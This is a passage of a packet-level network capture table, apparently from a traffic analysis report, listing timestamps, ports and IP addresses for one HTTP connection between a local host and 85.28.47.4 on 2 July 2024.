Jul 2, 2024 15:26:08.217963934 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.217963934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.217982054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.217989922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.217997074 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.218003035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.218022108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.218031883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.218036890 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.218046904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.218050003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.218075037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.218077898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.218091011 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.218090057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.218111038 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.218115091 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.218122959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.218131065 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.218146086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.218147993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.218163013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.218164921 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.218173981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.218185902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.218198061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.218200922 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.218218088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.218219042 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.218233109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.218235970 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.218245983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.218254089 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.218262911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.218270063 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.218286037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.218293905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.218314886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.218326092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.218344927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.218352079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.218363047 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.218365908 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.218375921 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.218385935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.218394995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.218403101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.218416929 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.218420982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.218432903 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.218436956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.218451023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.218453884 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.218468904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.218477011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.218483925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.218508005 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.218513012 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.218523979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.218539000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.218548059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.218560934 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.218569040 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.225023985 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.225107908 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.225138903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.225150108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.225174904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.225191116 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.225225925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.225238085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.225260019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.225269079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.225270033 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.225281954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.225286961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.225301981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.225313902 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.225336075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.225348949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.225368023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.225375891 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.225378990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.225388050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.225399971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.225400925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.225411892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.225416899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.225430012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.225440979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.225450993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.225461006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226064920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226098061 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226109982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226115942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226131916 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226142883 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226164103 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226176023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226193905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226200104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226208925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226214886 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226228952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226229906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226239920 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226264954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226425886 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226438046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226463079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226471901 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226486921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226502895 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226517916 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226521969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226536989 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226538897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226552963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226560116 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226560116 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226583958 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226614952 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226625919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226650953 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226653099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226661921 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226666927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226680994 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226686954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226691008 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226701975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226716995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226722956 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226733923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226737976 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226752996 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226752996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226763010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226773977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226788044 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226798058 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226804018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226810932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226831913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226840973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226903915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226914883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226933002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226938009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226948023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226954937 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226963043 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226965904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226980925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.226984024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.226996899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.227011919 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.227035046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.227046013 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.227063894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.227071047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.227077961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.227092981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.227097034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.227117062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.227133989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.227144003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.227155924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.227174997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.227180004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.227185965 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.227190018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.227205992 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.227207899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.227222919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.227225065 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.227241039 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.227250099 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.227262020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.227273941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.227289915 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.227302074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.227303982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.227310896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.227320910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.227324009 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.227334976 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.227355003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.227368116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.227384090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.227399111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.227404118 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.227416039 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.227423906 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.227427959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.227443933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.227449894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.227453947 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.227463007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.227463961 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.227485895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.227494955 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.227540016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.227550983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.227570057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.227575064 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.227585077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.227595091 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.227600098 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.227610111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.227631092 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.227639914 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.307296991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.307326078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.307349920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.307362080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.307378054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.307388067 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.307404041 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.307410955 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.307423115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.307441950 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.307446003 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.307460070 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.307467937 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.307478905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.307490110 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.307498932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.307501078 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.307514906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.307518005 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.307533979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.307533979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.307543993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.307547092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.307565928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.307571888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.307575941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.307590961 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.307600975 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.307605028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.307610035 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.307617903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.307641983 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.307651997 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.307686090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.307723045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.307723045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.307735920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.307755947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.307759047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.307766914 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.307784081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.307797909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.307809114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.307822943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.307841063 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.307847977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.307859898 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.307863951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.307883024 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.307905912 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.308193922 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.308207035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.308226109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.308233976 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.308238029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.308244944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.308260918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.308263063 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.308278084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.308279037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.308291912 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.308301926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.308307886 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.308314085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.308336020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.308337927 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.308347940 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.308347940 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.308368921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.308370113 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.308381081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.308402061 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.310168982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.310188055 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.310208082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.310221910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.310354948 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.315049887 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.315069914 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.315089941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.315099955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.315109968 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.315120935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.315133095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.315141916 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.315159082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.315171003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.315174103 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.315191984 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.315215111 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.315274000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.315304995 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.315310955 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.315320969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.315340996 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.315345049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.315352917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.315357924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.315378904 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.315393925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.315443993 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.315457106 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.315474033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.315489054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.315500975 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.315511942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.315648079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.315671921 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.315685034 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.315685987 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.315696955 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.315711975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.315721035 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.315728903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.315743923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.315747976 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.315756083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 2, 2024 15:26:08.315758944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.315778017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 2, 2024 15:26:08.315783978 CEST	80	49730	85.28.47.4	192.168.2.4
